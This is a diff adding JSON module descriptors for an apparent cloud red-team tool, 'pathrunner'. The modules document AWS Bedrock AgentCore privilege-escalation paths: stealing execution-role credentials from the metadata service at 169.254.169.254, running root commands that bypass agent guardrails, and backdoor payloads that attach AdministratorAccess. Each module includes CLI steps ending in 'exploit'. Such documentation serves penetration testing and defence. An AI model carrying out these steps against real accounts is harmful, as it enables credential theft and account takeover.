+        "bedrock",
+        "python",
+        "exfil",
+        "response"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use bedrock-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "bedrock-001",
+  "gifs": [
+    {
+      "name": "bedrock-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/bedrock-002.json b/docs/pathrunner/data/modules/bedrock-002.json
new file mode 100644
index 00000000..243f9e3e
--- /dev/null
+++ b/docs/pathrunner/data/modules/bedrock-002.json
@@ -0,0 +1,148 @@
+{
+  "id": "bedrock-002",
+  "name": "bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter",
+  "description": "A principal with bedrock-agentcore:StartCodeInterpreterSession and bedrock-agentcore:InvokeCodeInterpreter can access an existing Bedrock AgentCore code interpreter that has a privileged IAM execution role attached. By starting a session and invoking arbitrary Python code within the interpreter, the attacker can access the MicroVM Metadata Service (MMDS) at 169.254.169.254 to retrieve temporary credentials for the interpreter's execution role. No iam:PassRole is required since the role is already attached to the existing interpreter. Similar to lambda:UpdateFunctionCode, this targets existing resources rather than creating new ones.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "bedrock-agentcore"
+  ],
+  "primaryService": "bedrock",
+  "aliases": [
+    "bedrock-startsession-invoke",
+    "exploit/bedrock_startsession_invoke"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/bedrock-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "bedrock-agentcore:StartCodeInterpreterSession",
+        "description": "Target code interpreter must be in the Resource section"
+      },
+      {
+        "permission": "bedrock-agentcore:InvokeCodeInterpreter",
+        "description": "Target code interpreter must be in the Resource section"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "bedrock-agentcore:ListCodeInterpreters",
+        "description": "Helpful for discovering existing code interpreters to target"
+      },
+      {
+        "permission": "bedrock-agentcore:GetCodeInterpreter",
+        "description": "Useful for viewing interpreter details including execution role ARN"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A Bedrock AgentCore code interpreter must exist with an IAM execution role attached",
+      "The interpreter's role must have administrative permissions (e.g., AdministratorAccess or equivalent)",
+      "The interpreter must be in a running or ready state",
+      "Python 3 with boto3 installed locally"
+    ],
+    "lateral": [
+      "A Bedrock AgentCore code interpreter must exist with an IAM execution role attached",
+      "The interpreter must be in a running or ready state",
+      "Python 3 with boto3 installed locally"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - bedrock-002",
+      "url": "https://pathfinding.cloud/paths/bedrock-002"
+    },
+    {
+      "title": "AWS AgentCore: The Overlooked Privilege Escalation Path in Bedrock AI Tooling",
+      "url": "https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/"
+    },
+    {
+      "title": "Sandboxed to Compromised: New Research Exposes Credential Exfiltration Paths in AWS Code Interpreters",
+      "url": "https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/"
+    },
+    {
+      "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
+    }
+  ],
+  "relatedPaths": [
+    "bedrock-001",
+    "lambda-003",
+    "glue-002",
+    "ec2-002"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
+    ]
+  },
+  "options": [
+    {
+      "name": "INTERPRETER_ID",
+      "description": "ID of the existing Bedrock AgentCore code interpreter to target",
+      "required": true,
+      "mockValue": "target-interpreter-id"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload code to run inside the code interpreter microVM (exfil/response or backdoor/attach-policy)",
+      "required": false,
+      "default": "exfil/response"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region where the code interpreter is deployed",
+      "required": false,
+      "default": "us-east-1"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or custom policy) to an IAM user/role using the execution role's boto3 credentials",
+      "slug": "bedrock-backdoor-attach-policy",
+      "qualifiedName": "bedrock:backdoor/attach-policy",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/mmds",
+      "description": "Extract execution-role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254",
+      "slug": "bedrock-exfil-mmds",
+      "qualifiedName": "bedrock:exfil/mmds",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "exfil",
+        "response"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use bedrock-002",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set INTERPRETER_ID target-interpreter-id",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "bedrock-002",
+  "gifs": [
+    {
+      "name": "bedrock-002",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/bedrock-003.json b/docs/pathrunner/data/modules/bedrock-003.json
new file mode 100644
index 00000000..710737f0
--- /dev/null
+++ b/docs/pathrunner/data/modules/bedrock-003.json
@@ -0,0 +1,181 @@
+{
+  "id": "bedrock-003",
+  "name": "iam:PassRole + bedrock-agentcore:CreateAgentRuntime + bedrock-agentcore:CreateAgentRuntimeEndpoint + bedrock-agentcore:CreateWorkloadIdentity + bedrock-agentcore:InvokeAgentRuntimeCommand",
+  "description": "A principal with iam:PassRole, bedrock-agentcore:CreateAgentRuntime, bedrock-agentcore:CreateAgentRuntimeEndpoint, bedrock-agentcore:CreateWorkloadIdentity, and bedrock-agentcore:InvokeAgentRuntimeCommand can deploy a new AgentCore Runtime with a privileged IAM execution role and then run shell commands as root inside its Firecracker microVM. InvokeAgentRuntimeCommand executes a submitted command as root parallel to the customer agent process, bypassing the agent, model and guardrails entirely. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS, granting the attacker the full permissions of the chosen execution role.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "bedrock-agentcore"
+  ],
+  "primaryService": "bedrock",
+  "aliases": [
+    "bedrock-passrole-createagentruntime",
+    "exploit/bedrock_passrole_createagentruntime"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/bedrock-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must be in Resource; role must trust bedrock-agentcore.amazonaws.com"
+      },
+      {
+        "permission": "bedrock-agentcore:CreateAgentRuntime",
+        "description": "Must have permission to create Bedrock AgentCore runtimes"
+      },
+      {
+        "permission": "bedrock-agentcore:CreateAgentRuntimeEndpoint",
+        "description": "Must have permission to create the runtime endpoint used to invoke the runtime"
+      },
+      {
+        "permission": "bedrock-agentcore:CreateWorkloadIdentity",
+        "description": "Must have permission to create the workload identity the runtime requires at creation"
+      },
+      {
+        "permission": "bedrock-agentcore:InvokeAgentRuntimeCommand",
+        "description": "Must have permission to invoke commands on the created runtime"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Helpful for discovering AgentCore execution roles available to pass"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing role trust policies and attached permissions"
+      },
+      {
+        "permission": "bedrock-agentcore:GetAgentRuntime",
+        "description": "Useful for confirming the new runtime reached a READY state before invoking it"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
+      "The role must have administrative permissions (e.g., AdministratorAccess or equivalent)",
+      "An attacker-controlled container image must be available in ECR (the runtime pulls it on startup)"
+    ],
+    "lateral": [
+      "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
+      "An attacker-controlled container image must be available in ECR"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - bedrock-003",
+      "url": "https://pathfinding.cloud/paths/bedrock-003"
+    },
+    {
+      "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
+      "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
+    },
+    {
+      "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
+    },
+    {
+      "title": "AgentCore Runtime execution role permissions",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-permissions.html"
+    }
+  ],
+  "relatedPaths": [
+    "bedrock-001",
+    "bedrock-004",
+    "bedrock-005",
+    "ec2-001",
+    "sagemaker-001"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials",
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
+    ]
+  },
+  "options": [
+    {
+      "name": "EXECUTION_ROLE_ARN",
+      "description": "ARN of the IAM role to pass to the new runtime as its execution role; must trust bedrock-agentcore.amazonaws.com",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "CONTAINER_URI",
+      "description": "ECR image URI for the runtime (e.g., <account>.dkr.ecr.<region>.amazonaws.com/<repo>:<tag>); the image is always built and pushed by pathrunner \u2014 set this to control which ECR repo is used, or leave empty to auto-find/create the attacker ECR repo",
+      "required": false,
+      "mockValue": "123456789012.dkr.ecr.us-east-1.amazonaws.com/target-image:latest"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region to create the runtime in",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "RUNTIME_NAME",
+      "description": "Name for the new AgentCore Runtime (auto-generated if not set)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload to run inside the runtime microVM via InvokeAgentRuntimeCommand (exfil/response or backdoor/attach-policy)",
+      "required": false,
+      "default": "exfil/response"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Whether to delete the runtime after credential extraction. Defaults to false because the starting identity typically lacks bedrock-agentcore:DeleteAgentRuntime; use 'workspace cleanup' with the extracted admin identity instead.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or custom policy) to an IAM user/role using the execution role's boto3 credentials",
+      "slug": "bedrock-backdoor-attach-policy",
+      "qualifiedName": "bedrock:backdoor/attach-policy",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/mmds",
+      "description": "Extract execution-role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254",
+      "slug": "bedrock-exfil-mmds",
+      "qualifiedName": "bedrock:exfil/mmds",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "exfil",
+        "response"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use bedrock-003",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": null,
+  "gifs": [
+    {
+      "name": "bedrock-003",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/bedrock-004.json b/docs/pathrunner/data/modules/bedrock-004.json
new file mode 100644
index 00000000..8cd5927a
--- /dev/null
+++ b/docs/pathrunner/data/modules/bedrock-004.json
@@ -0,0 +1,149 @@
+{
+  "id": "bedrock-004",
+  "name": "bedrock-agentcore:InvokeAgentRuntimeCommand",
+  "description": "A principal with bedrock-agentcore:InvokeAgentRuntimeCommand can run a root shell command inside the Firecracker microVM of an existing AgentCore Runtime or Harness, parallel to the customer agent process and bypassing the agent, model and guardrails entirely. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, granting the attacker the full permissions of the role already attached to that resource. No iam:PassRole is required because the role is already attached to the existing resource.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "bedrock-agentcore"
+  ],
+  "primaryService": "bedrock",
+  "aliases": [
+    "bedrock-invokeagentruntime",
+    "exploit/bedrock_invokeagentruntime"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/bedrock-004",
+  "permissions": {
+    "required": [
+      {
+        "permission": "bedrock-agentcore:InvokeAgentRuntimeCommand",
+        "description": "Target runtime or harness must use IAM as its Inbound Auth type"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "bedrock-agentcore:ListAgentRuntimes",
+        "description": "Helpful for discovering existing runtimes to target"
+      },
+      {
+        "permission": "bedrock-agentcore:ListHarnesses",
+        "description": "Helpful for discovering existing harnesses to target"
+      },
+      {
+        "permission": "bedrock-agentcore:GetAgentRuntime",
+        "description": "Useful for confirming execution role ARN and Inbound Auth type of target"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An AgentCore Runtime or Harness must exist with an IAM execution role attached",
+      "The resource must use IAM as its Inbound Auth type (JWT-auth resources reject the call)",
+      "The execution role must have administrative permissions (e.g., AdministratorAccess)",
+      "Python 3 with boto3 >= botocore 1.43.36 must be installed locally"
+    ],
+    "lateral": [
+      "An AgentCore Runtime or Harness must exist with an IAM execution role attached",
+      "The resource must use IAM as its Inbound Auth type (JWT-auth resources reject the call)",
+      "Python 3 with boto3 >= botocore 1.43.36 must be installed locally"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - bedrock-004",
+      "url": "https://pathfinding.cloud/paths/bedrock-004"
+    },
+    {
+      "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
+      "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
+    },
+    {
+      "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
+    },
+    {
+      "title": "AgentCore Runtime command execution security best practices",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-security-best-practices.html"
+    }
+  ],
+  "relatedPaths": [
+    "bedrock-002",
+    "bedrock-003",
+    "bedrock-005",
+    "ec2-002",
+    "lambda-003"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_RUNTIME_ARN",
+      "description": "ARN of the existing AgentCore Runtime or Harness to target",
+      "required": true,
+      "mockValue": "arn:aws:bedrock::123456789012:provisioned-model/target-model"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload to run inside the runtime microVM via InvokeAgentRuntimeCommand (exfil/response or backdoor/attach-policy)",
+      "required": false,
+      "default": "exfil/response"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region where the runtime is deployed",
+      "required": false,
+      "default": "us-east-1"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or custom policy) to an IAM user/role using the execution role's boto3 credentials",
+      "slug": "bedrock-backdoor-attach-policy",
+      "qualifiedName": "bedrock:backdoor/attach-policy",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/mmds",
+      "description": "Extract execution-role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254",
+      "slug": "bedrock-exfil-mmds",
+      "qualifiedName": "bedrock:exfil/mmds",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "exfil",
+        "response"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use bedrock-004",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set TARGET_RUNTIME_ARN arn:aws:bedrock::123456789012:provisioned-model/target-model",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": null,
+  "gifs": [
+    {
+      "name": "bedrock-004",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/bedrock-005.json b/docs/pathrunner/data/modules/bedrock-005.json
new file mode 100644
index 00000000..61a260c0
--- /dev/null
+++ b/docs/pathrunner/data/modules/bedrock-005.json
@@ -0,0 +1,185 @@
+{
+  "id": "bedrock-005",
+  "name": "iam:PassRole + bedrock-agentcore:CreateHarness + bedrock-agentcore:CreateAgentRuntime + bedrock-agentcore:CreateAgentRuntimeEndpoint + bedrock-agentcore:CreateWorkloadIdentity + bedrock-agentcore:GetAgentRuntime + bedrock-agentcore:InvokeAgentRuntimeCommand",
+  "description": "A principal with iam:PassRole, bedrock-agentcore:CreateHarness, and the supporting create and invoke permissions can deploy a new AgentCore Harness with a privileged IAM execution role and then run shell commands as root inside its Firecracker microVM. CreateHarness provisions a Runtime under the hood (hence the longer permission chain), and InvokeAgentRuntimeCommand runs as root parallel to the managed agent loop, bypassing the agent, model and guardrails. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254 \u2014 AgentCore's equivalent of EC2's IMDS.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "bedrock-agentcore"
+  ],
+  "primaryService": "bedrock",
+  "aliases": [
+    "bedrock-passrole-createharness",
+    "exploit/bedrock_passrole_createharness"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/bedrock-005",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must be in Resource; role must trust bedrock-agentcore.amazonaws.com"
+      },
+      {
+        "permission": "bedrock-agentcore:CreateHarness",
+        "description": "Must have permission to create Bedrock AgentCore harnesses"
+      },
+      {
+        "permission": "bedrock-agentcore:CreateAgentRuntime",
+        "description": "CreateHarness provisions a Runtime under the hood, which requires this permission"
+      },
+      {
+        "permission": "bedrock-agentcore:CreateAgentRuntimeEndpoint",
+        "description": "Required to create the runtime endpoint the harness uses"
+      },
+      {
+        "permission": "bedrock-agentcore:CreateWorkloadIdentity",
+        "description": "Required to create the workload identity the underlying runtime needs"
+      },
+      {
+        "permission": "bedrock-agentcore:GetAgentRuntime",
+        "description": "Required to resolve the runtime that CreateHarness provisions before invoking it"
+      },
+      {
+        "permission": "bedrock-agentcore:InvokeAgentRuntimeCommand",
+        "description": "Must have permission to invoke commands on the created harness"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Helpful for discovering AgentCore execution roles available to pass"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing role trust policies and attached permissions"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
+      "The role must have administrative permissions (e.g., AdministratorAccess or equivalent)",
+      "At least one Bedrock foundation model must be enabled in the account (required by CreateHarness; the model is never invoked by the attack)"
+    ],
+    "lateral": [
+      "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
+      "At least one Bedrock foundation model must be enabled in the account"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - bedrock-005",
+      "url": "https://pathfinding.cloud/paths/bedrock-005"
+    },
+    {
+      "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
+      "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
+    },
+    {
+      "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
+    },
+    {
+      "title": "Amazon Bedrock AgentCore Harness",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness.html"
+    }
+  ],
+  "relatedPaths": [
+    "bedrock-003",
+    "bedrock-004",
+    "ec2-001",
+    "sagemaker-001"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials",
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the IAM role to pass to the new harness as its execution role; must trust bedrock-agentcore.amazonaws.com",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region to create the harness in",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "MODEL_ID",
+      "description": "Bedrock foundation model ID to associate with the harness (required by CreateHarness; never invoked by the attack)",
+      "required": false,
+      "default": "amazon.nova-micro-v1:0",
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "HARNESS_NAME",
+      "description": "Name for the new AgentCore Harness (auto-generated if not set; must start with a letter and use only alphanumeric characters and underscores)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload to run inside the harness microVM via InvokeAgentRuntimeCommand (exfil/response or backdoor/attach-policy)",
+      "required": false,
+      "default": "exfil/response"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Whether to delete the harness after credential extraction. Defaults to false because the starting identity typically lacks bedrock-agentcore:DeleteHarness; use 'workspace cleanup' with the extracted admin identity instead.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or custom policy) to an IAM user/role using the execution role's boto3 credentials",
+      "slug": "bedrock-backdoor-attach-policy",
+      "qualifiedName": "bedrock:backdoor/attach-policy",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/mmds",
+      "description": "Extract execution-role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254",
+      "slug": "bedrock-exfil-mmds",
+      "qualifiedName": "bedrock:exfil/mmds",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "exfil",
+        "response"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use bedrock-005",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": null,
+  "gifs": [
+    {
+      "name": "bedrock-005",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/bedrock-006.json b/docs/pathrunner/data/modules/bedrock-006.json
new file mode 100644
index 00000000..aac3e346
--- /dev/null
+++ b/docs/pathrunner/data/modules/bedrock-006.json
@@ -0,0 +1,143 @@
+{
+  "id": "bedrock-006",
+  "name": "iam:PassRole + bedrock-agentcore:CreateBrowser + bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream",
+  "description": "A principal with iam:PassRole, bedrock-agentcore:CreateBrowser, bedrock-agentcore:StartBrowserSession and bedrock-agentcore:ConnectBrowserAutomationStream can create a Custom Browser with a privileged IAM execution role and drive the browser over Chrome DevTools Protocol (CDP) to read the execution role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254. The attacker presigns the automation WebSocket, connects with Playwright and installs a context.route hook that rewrites the MMDS token request from GET to PUT and injects the token header, then navigates to the role-credentials endpoint and reads the response. Creating the browser rather than targeting an existing one lets the attacker pick exactly which role to escalate to.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "bedrock-agentcore"
+  ],
+  "primaryService": "bedrock",
+  "aliases": [
+    "bedrock-createbrowser-cdp",
+    "exploit/bedrock_createbrowser_cdp"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/bedrock-006",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must trust bedrock-agentcore.amazonaws.com"
+      },
+      {
+        "permission": "bedrock-agentcore:CreateBrowser",
+        "description": "Must have permission to create Bedrock AgentCore Custom Browsers"
+      },
+      {
+        "permission": "bedrock-agentcore:StartBrowserSession",
+        "description": "Must have permission to start sessions on the created browser"
+      },
+      {
+        "permission": "bedrock-agentcore:ConnectBrowserAutomationStream",
+        "description": "Must have permission to connect a remote automation driver to the browser session"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Helpful for discovering AgentCore execution roles available to pass"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing role trust policies and attached permissions"
+      },
+      {
+        "permission": "bedrock-agentcore:GetBrowser",
+        "description": "Useful for confirming the browser reached READY state before starting a session"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
+      "The role must have administrative permissions (e.g., AdministratorAccess or equivalent)",
+      "Python 3 with boto3, botocore, and playwright must be installed locally",
+      "Playwright Chromium browser must be installed: playwright install chromium"
+    ],
+    "lateral": [
+      "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
+      "Python 3 with boto3, botocore, and playwright must be installed locally",
+      "Playwright Chromium browser must be installed: playwright install chromium"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - bedrock-006",
+      "url": "https://pathfinding.cloud/paths/bedrock-006"
+    },
+    {
+      "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
+      "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
+    },
+    {
+      "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
+    },
+    {
+      "title": "Amazon Bedrock AgentCore Browser tool",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/browser-tool.html"
+    }
+  ],
+  "relatedPaths": [
+    "bedrock-003",
+    "bedrock-007",
+    "ec2-001",
+    "sagemaker-001"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials",
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the IAM role to pass to the new browser as its execution role (must trust bedrock-agentcore.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region to create the Custom Browser in",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "BROWSER_NAME",
+      "description": "Name for the new Custom Browser resource (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "WAIT_TIMEOUT",
+      "description": "Maximum seconds to wait for the browser to reach READY state. Provisioning typically takes 2-5 minutes.",
+      "required": false,
+      "default": "300"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the Custom Browser after credential extraction. The starting user typically lacks bedrock-agentcore:DeleteBrowser; use the escalated identity or workspace cleanup with admin credentials instead.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use bedrock-006",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": null,
+  "gifs": [
+    {
+      "name": "bedrock-006",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/bedrock-007.json b/docs/pathrunner/data/modules/bedrock-007.json
new file mode 100644
index 00000000..fab4bc2b
--- /dev/null
+++ b/docs/pathrunner/data/modules/bedrock-007.json
@@ -0,0 +1,110 @@
+{
+  "id": "bedrock-007",
+  "name": "bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream",
+  "description": "A principal with bedrock-agentcore:StartBrowserSession and bedrock-agentcore:ConnectBrowserAutomationStream can connect to an existing AgentCore Custom Browser over CDP and drive it to read the execution role credentials from MMDS at 169.254.169.254. No iam:PassRole required \u2014 the role is already attached to the browser.",
+  "category": "existing-passrole",
+  "services": [
+    "bedrock-agentcore"
+  ],
+  "primaryService": "bedrock",
+  "aliases": [
+    "bedrock-startbrowsersession-cdp",
+    "exploit/bedrock_startbrowsersession_cdp"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/bedrock-007",
